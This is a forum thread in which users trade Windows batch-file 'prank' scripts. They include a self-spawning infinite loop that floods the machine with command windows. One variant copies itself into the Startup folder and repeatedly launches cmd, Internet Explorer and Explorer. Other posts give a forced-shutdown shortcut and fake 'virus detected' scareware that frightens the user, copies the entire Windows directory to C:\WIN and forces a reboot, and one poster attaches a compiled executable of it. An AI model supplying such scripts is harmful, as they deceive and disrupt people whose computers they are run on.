TechTalkz.com Logo Ask the Experts!

Go Back   TechTalkz.com Technology & Computer Troubleshooting Forums > Tech World > TIPS 'n' TRICKS

Batch Files

TIPS 'n' TRICKS

 
Reply
Thread Tools Display Modes
Unread 24-04-2008, 12:56 PM   #1
Newbie
Thread Starter
 
blunosedan's Avatar
 
Join Date: Apr 2008
Age: 24
Posts: 19
Thanks: 3
Thanked 0 Times in 0 Posts
Rep Power: 97 blunosedan is on a distinguished road
Send a message via MSN to blunosedan
Batch Files

Anyone know any cool batch files....maybe pranks?
blunosedan is offline   Reply With Quote
Unread 24-04-2008, 07:38 PM   #2
Advanced Member (250+)
 
1mAn3rd's Avatar
 
Join Date: Nov 2007
Location: Guilford C
Posts: 396
Thanks: 28
Thanked 22 Times in 21 Posts
Rep Power: 154 1mAn3rd will become famous soon enough


Windows 98 / Windows ME Windows NT / Windows 2000 Windows XP Windows Server 2003 / Windows Server 2008 Windows Vista Windows 7 Linux Mac OS


Send a message via AIM to 1mAn3rd
Re: Batch Files

Hmm, try this code:
Code:
echo off
:A
start
goto a
it will make a loop that opens a batch file every time it executes the loop. The only way to stop it is digg through all of the open CMDs and close the orriginal one, or restart the computer.
~1mAn3rd
__________________
--1mAn3rd
1mAn3rd is offline   Reply With Quote
Thanked Users:
peter kiarie (14-05-2008)
Unread 25-04-2008, 02:04 PM   #3
Newbie
 
Join Date: Apr 2008
Posts: 9
Thanks: 0
Thanked 0 Times in 0 Posts
Rep Power: 0 Ambiance44 is an unknown quantity at this point
Re: Batch Files

And then you could take 1mAn3rd's code, create a batch file and put that in the Windows startup menu. LOL
Ambiance44 is offline   Reply With Quote
Unread 25-04-2008, 02:27 PM   #4
Newbie
Thread Starter
 
blunosedan's Avatar
 
Join Date: Apr 2008
Age: 24
Posts: 19
Thanks: 3
Thanked 0 Times in 0 Posts
Rep Power: 97 blunosedan is on a distinguished road
Send a message via MSN to blunosedan
Re: Batch Files

i already know tht one...someone posted it before...thanks though
blunosedan is offline   Reply With Quote
Unread 04-05-2008, 08:55 AM   #5
Newbie
 
Join Date: Feb 2008
Posts: 4
Thanks: 0
Thanked 0 Times in 0 Posts
Rep Power: 0 nirjhar is an unknown quantity at this point
Re: Batch Files

do not use it
may be this hearmfull 4 ur com
nirjhar is offline   Reply With Quote
Unread 04-05-2008, 03:29 PM   #6
Advanced Member (250+)
 
1mAn3rd's Avatar
 
Join Date: Nov 2007
Location: Guilford C
Posts: 396
Thanks: 28
Thanked 22 Times in 21 Posts
Rep Power: 154 1mAn3rd will become famous soon enough


Windows 98 / Windows ME Windows NT / Windows 2000 Windows XP Windows Server 2003 / Windows Server 2008 Windows Vista Windows 7 Linux Mac OS


Send a message via AIM to 1mAn3rd
Re: Batch Files

nirjhar, that code is not harmful to your computer. And I know that someone posted this before but this is a simplified version, whereas in the other version they just pasted 'start cmd.exe' on a bunch of lines. This is an infinite loop. I am pretty good with DOS scripting, but not extremely good. Good luck finding different tricks.

Another trick, right click on the desktop, click create shortcut, and in the field where you put where the shortcut leads to, type this:
Code:
shutdown -s -t 10 -c "HAHA Got you ;)"
You may already know that one though. To stop that from working if you open it on your computer, click on
Start > Run > shutdown -a
and click Ok.
That's it I don't know too many 'pranks' with the command prompt, and most of them would be somewhat harmful.
__________________
--1mAn3rd

Last edited by 1mAn3rd; 18-05-2008 at 02:14 PM..
1mAn3rd is offline   Reply With Quote
Thanked Users:
Wolfie276 (09-05-2008)
Unread 26-05-2008, 05:01 PM   #7
Regular Member (100+)
 
jjaadd's Avatar
 
Join Date: Mar 2008
Location: lebanon
Age: 21
Posts: 113
Thanks: 3
Thanked 3 Times in 2 Posts
Rep Power: 0 jjaadd is an unknown quantity at this point


Windows XP Windows Vista


Re: Batch Files

@echo off
copy %1 "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
:1
start cmd
start iexplore.exe
start explorer.exe
goto 1
__________________
u think that i helped u with this post?
reputate me!!!
jjaadd is offline   Reply With Quote
Unread 28-05-2008, 02:51 PM   #8
Senior Member (500+)
 
Wolfie276's Avatar
 
Join Date: Nov 2007
Location: /etc/rc.d/
Posts: 648
Thanks: 18
Thanked 52 Times in 47 Posts
Blog Entries: 1
Rep Power: 141 Wolfie276 is on a distinguished road


Windows 7 Linux


Re: Batch Files

meh...just do a simple 1 like a batch file with red font and saying u need 2 reformat every startup cuz of infection

color 04 (if im not wrong on the colors)
echo You have been infected.
echo.
echo You will need to reformat to get rid of the infection.
echo.
echo WARNING: IF YOU DO NOT REFORMAT NOW THIS INFECTION
echo WILL DELETE EVERY WINDOWS FILE AND YOU WILL NOT BE
echo ABLE TO START UP NEXT TIME!
echo.
echo DELETING FILES IN %WINDIR%
MKDIR C:\WIN
xcopy /E %windir% C:\WIN
cls
shutdown -r -t 10 "No really...the files arent deleted."
__________________
Arch Linux
Wolfie276 is offline   Reply With Quote
Unread 31-05-2008, 03:44 PM   #9
Advanced Member (250+)
 
1mAn3rd's Avatar
 
Join Date: Nov 2007
Location: Guilford C
Posts: 396
Thanks: 28
Thanked 22 Times in 21 Posts
Rep Power: 154 1mAn3rd will become famous soon enough


Windows 98 / Windows ME Windows NT / Windows 2000 Windows XP Windows Server 2003 / Windows Server 2008 Windows Vista Windows 7 Linux Mac OS


Send a message via AIM to 1mAn3rd
Re: Batch Files

xD Wolfie, what is the point of that batch file? For one thing, you didn't give the user the chance to see the first text... and some people won't know to delete the text after the color. And I wouldn't be scared at all if this was a batch file because if you reformat your computer, it won't start anyway... so here, lemme edit that for you a bit

Code:
echo off
cls
color 0C
echo Windows has found a virus...
echo.
echo It is recommended to let Windows fix this issue.
echo.
echo If you do not let Windows fix this issue,
echo the next time you restart the computer
echo Windows will not load properly.
set /p m=Would you like Windows to fix this issue? (Y/N): 
cls
echo Deleting files in %WINDIR%.
PING 1.1.1.1 -n 1 -w 500 >NUL
cls
echo Deleting files in %WINDIR%..
PING 1.1.1.1 -n 1 -w 500 >NUL
cls
echo Deleting files in %WINDIR%...
PING 1.1.1.1 -n 1 -w 500 >NUL
cls
if exist "C:\WIN" goto start
MKDIR "C:\WIN"
:start
xcopy /E /Y %windir% "C:\WIN"
cls
shutdown -r -t 10 -c "Windows has succesfully fixed the issue."
It's quite a long code, but it doesn't do ANY harm to your computer whatsoever. It's just an upgraded version of the code posted by Wolfie276. You're welcome

PS: I have attached a zip file including the executable version of this script.
Attached Files
File Type: zip delete.zip (6.4 KB, 71 views)
__________________
--1mAn3rd

Last edited by 1mAn3rd; 31-05-2008 at 03:49 PM..
1mAn3rd is offline   Reply With Quote
Unread 04-06-2008, 07:28 PM   #10
Senior Member (500+)
 
Wolfie276's Avatar
 
Join Date: Nov 2007
Location: /etc/rc.d/
Posts: 648
Thanks: 18
Thanked 52 Times in 47 Posts
Blog Entries: 1
Rep Power: 141 Wolfie276 is on a distinguished road


Windows 7 Linux


Re: Batch Files

forgot a Pause > NUL

Code:
color 04
echo You have been infected.
echo.
echo You will need to reformat to get rid of the infection.
Pause > NUL
echo.
echo WARNING: IF YOU DO NOT REFORMAT NOW THIS INFECTION
echo WILL DELETE EVERY WINDOWS FILE AND YOU WILL NOT BE
echo ABLE TO START UP NEXT TIME!
Pause > NUL
echo.
echo DELETING FILES IN %WINDIR%
MKDIR C:\WIN
xcopy /E %windir% C:\WIN
cls
shutdown -r -t 10 "No really...the files arent deleted."
Wolfie276 is offline   Reply With Quote
Reply

Thread Tools
Display Modes



< Home - Windows Help - MS Office Help - Hardware Support >


New To Site? Need Help?

All times are GMT. The time now is 05:34 PM.


vBulletin, Copyright ©2000 - 2014, Jelsoft Enterprises Ltd.
Content Relevant URLs by vBSEO
Copyright © 2005-2013, TechTalkz.com. All Rights Reserved - Privacy Policy
Valid XHTML 1.0 Transitional